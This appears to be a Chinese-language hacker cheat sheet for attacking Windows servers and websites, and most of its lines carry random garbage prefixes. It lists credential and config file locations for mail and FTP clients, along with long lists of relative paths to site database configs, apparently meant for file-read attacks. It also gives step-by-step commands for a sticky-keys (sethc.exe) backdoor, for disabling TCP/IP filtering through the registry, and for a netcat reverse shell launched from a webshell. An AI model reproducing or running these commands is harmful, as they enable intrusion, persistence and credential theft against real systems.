6 o" C. ]! [2 \. H8 W5 u4 @c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
* r, c, u( i. f6 ^  d5 C, K( g& mC:\Program Files\tencent\Foxmal\accounts.cfg
/ E, x  ^1 ]" g. T2 X( mC:\Program Files\LeapFTP 3.0\LeapFTP.exe
. W/ p3 ~' a+ W0 }$ |3 OC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
! h( q& `& C; j' Q' c2 yc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
0 y1 g2 ~2 j: f( n9 T: Mc:\Program Files\Oracle\bin\regsvr32.exe
7 T: Q( j6 E' j. uc:\Program Files\腾讯游戏\QQGAME\readme.txt
" ~# X: s6 P2 |. S" Hc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
9 `/ G0 l# x8 b, zc:\Program Files\tencent\QQGAME\readme.txt
. h, {& ^' ]( Y8 bC:\Program Files\StormII\Storm.exe
3 F/ G! f- Y  _9 H, O
3.网站相对路径:
7 x0 g+ h: s) n! k3 l' A% c
/config.php
../../config.php
../config.php
$ r: x& p% C2 _& E! e- D, Y: Z../../../config.php
2 H; J1 M$ h$ b1 g  V, q/config.inc.php
& c# i8 ^& q8 P: N; J1 z./config.inc.php
../../config.inc.php
../config.inc.php
/ v2 L0 A! j4 l, i$ j% E. ~' d0 W5 B../../../config.inc.php
$ T6 D/ s- K" g; D2 i+ g/conn.php
./conn.php
9 {7 `7 o5 X1 d7 m; L  ]+ M) _/ h% |$ g) s../../conn.php
" a* S0 h4 \2 a../conn.php
$ \; x+ }, t# X6 A' X' P# Y../../../conn.php
/conn.asp
& J& E. U$ k4 p3 W' c8 ]./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
./config.inc.php
../../config.inc.php
" T7 |9 v" \6 Q0 ?+ \4 @8 J../config.inc.php
2 ?: y: S( i/ a& o* d* V8 l1 `: g../../../config.inc.php
/config/config.php
../../config/config.php
, c/ }0 h, g% f0 M+ f../config/config.php
! U! A" ?% q* H. t../../../config/config.php
; ~2 k* G9 b; X/ x) `; A/config/config.inc.php
./config/config.inc.php
2 x4 x( ~# P3 @: _8 B../../config/config.inc.php
../config/config.inc.php
1 j- p4 {9 k$ t( Q' F../../../config/config.inc.php
/config/conn.php
./config/conn.php
4 }2 e0 Z) ?; m6 Z1 U: Q2 Q../../config/conn.php
../config/conn.php
% {! B( B) b0 e../../../config/conn.php
: t. F0 A6 A! \2 \! t/config/conn.asp
' a1 r, k; f8 f- G( j./config/conn.asp
../../config/conn.asp
../config/conn.asp
* c! ]' d- E: @8 s+ G. i2 E* K/ z! H5 O../../../config/conn.asp
2 h% [, {# z0 E9 E- V$ Q% r, b' e9 u# i/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
  Y2 f! |+ J; K/ r5 M& p8 D../../../config/config.inc.php
  o  d1 y$ r; V- T) C0 P( A6 K/data/config.php
, J# K+ c7 E, L* \5 a1 Q1 g../../data/config.php
../data/config.php
- y7 S2 z' b' K: c( m& v../../../data/config.php
  P3 Q/ P$ m$ x. `/data/config.inc.php
./data/config.inc.php
& }+ u- f- |0 k8 C) a9 |../../data/config.inc.php
+ F% F# }+ ]+ P( g../data/config.inc.php
../../../data/config.inc.php
# D1 V5 N# ^# L6 t/data/conn.php
/ u9 [2 v+ b& @% y./data/conn.php
  b4 E4 b: ^3 j0 L2 M../../data/conn.php
../data/conn.php
../../../data/conn.php
/data/conn.asp
3 _1 Z. _" o# M) x5 P& ^' z./data/conn.asp
/ C$ k. X0 Q# N../../data/conn.asp
0 @+ c" d7 ]' G$ m! c: _../data/conn.asp
3 F+ ]! h+ X1 E2 a8 y- t" D../../../data/conn.asp
/data/config.inc.php
, V# n9 G+ o6 x3 J! o0 S! L./data/config.inc.php
../../data/config.inc.php
' K4 J+ o0 K8 }( O6 w( c' N../data/config.inc.php
../../../data/config.inc.php
/include/config.php
1 V7 d9 U# B9 ^' {../../include/config.php
../include/config.php
../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
% \- ]) G: W* p, i+ {../../../include/config.inc.php
# v! x+ w/ q; i3 \! z0 y0 y! u. }/include/conn.php
./include/conn.php
  ?! U7 i  e4 Q$ J% C% x& ?* U../../include/conn.php
. X$ q+ t& O, \5 }3 D../include/conn.php
( K, B) d7 [' P7 D../../../include/conn.php
5 [% q% D% T4 C4 X1 `/include/conn.asp
./include/conn.asp
6 F! p  O6 n! e2 O; E- q2 ^' {../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
8 B) c8 X9 T- Z( X/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
' l' o" z+ a9 s../../../include/config.inc.php
# q  }1 T3 M5 ?9 T/inc/config.php
) x8 b$ I# P3 r2 \0 _../../inc/config.php
../inc/config.php
( K: l; \5 w2 K9 |../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
2 |' T0 H) X3 u) Z5 [* y8 D../inc/config.inc.php
../../../inc/config.inc.php
5 L! s3 l( s1 \0 R/inc/conn.php
3 D4 u) n' j! {" I./inc/conn.php
../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
/ R- _& g6 [$ K./inc/conn.asp
../../inc/conn.asp
( c/ U2 w. v0 Z, J0 L  b1 \. ]../inc/conn.asp
( y7 Z8 \( O+ q! E../../../inc/conn.asp
/inc/config.inc.php
9 `+ ]* ~' p8 W) q7 U./inc/config.inc.php
../../inc/config.inc.php
: d, K& g  k. Q8 [  _../inc/config.inc.php
../../../inc/config.inc.php
7 O4 b8 ^6 y$ B: T& o4 z/index.php
./index.php
../../index.php
7 t( j% ~& M5 o( D- G../index.php
4 r6 v: ]/ G5 u) c" X" s9 @- B../../../index.php
. J( ]8 I" L1 C  q+ r. [/ }/index.asp
./index.asp
../../index.asp
2 x1 k$ E6 g+ {../index.asp
* j- W6 ^% x- y5 n. P, G% l6 C7 u../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

. @( B: K% @, V' K　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
: A9 B9 D0 l8 [
　　del c:\windows\system32\sethc.exe

) s8 o8 H2 M' P% \8 T6 n　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

+ B# ]3 g' m4 C& F8 B) J　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s
: \0 ]/ j9 I' r$ v
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
. v8 J( `6 D2 b% N去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
( x# U, m" ]* k0 b) ]3 hHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
5 m# m1 i  c- P) ]4 v- _5 X
, O  Q8 `& Q" a' |+ u分别用
0 T5 S+ W  \9 T' o6 h1 p# Vregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
5 z& `* g9 t3 c; j, hregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
: I8 V8 P" H2 N$ ?0 u$ y命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
% s  g1 Y" U' N) c. t3 }4 \8 C* t
再将以上三个文件分别用
2 T/ Z. }5 N/ D" iregedit -s D:\a.reg
: v' w2 _9 g& _3 Hregedit -s D:\b.reg
regedit -s D:\c.reg
' D- J2 G, z( m导入注册表即可
5 {; A$ H4 f3 }6 O% T, p
3 n5 g( g2 m# x* ]3 n/ n( twebshell提权小技巧
cmd路径:
, V' q& L& H7 v! E/ G' }3 i" M' jc:\windows\temp\cmd.exe
nc也在同目录下
# l& x3 t, d4 c4 K例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
: ~$ l. P7 w9 r: F  ?8 K$ t8 c( `通常都不会成功。
3 x6 B' B& L1 H3 V8 t" h/ e, i4 j
2 Q! f, j9 l- x* f, j( O* }而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
8 V' I' u; G. i' C$ G命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功